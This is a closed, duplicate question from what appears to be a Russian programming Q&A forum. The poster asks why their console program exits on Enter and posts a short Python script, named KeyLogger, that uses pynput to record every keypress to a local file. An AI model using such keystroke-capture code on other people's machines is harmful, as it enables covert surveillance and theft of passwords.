Этот вопрос закрыт для ответов, так как повторяет вопрос Почему код перестает работать когда пишу с Numpad?
@aeollous

Почему при нажатии Enter код в консоли завершает работу?

from pynput import keyboard

class KeyLogger():
    def __init__(self):
        self.filename = "logs.txt"

    def get_char(self, key):
        try:
            return str(key)
        except AttributeError:
            return str(key)


    def press(self, key):
        print(key)
        with open(self.filename, 'a') as logs:
            logs.write(self.get_char(key) + " ")
    def listener(self):
        listen = keyboard.Listener(on_press=self.press)
        listen.start()

if __name__ == '__main__':
    KeyLogger().listener()  
    input()
  • Вопрос задан
  • 43 просмотра
Ваш ответ на вопрос

Вопрос закрыт для ответов и комментариев

Потому что уже есть похожий вопрос.
Похожие вопросы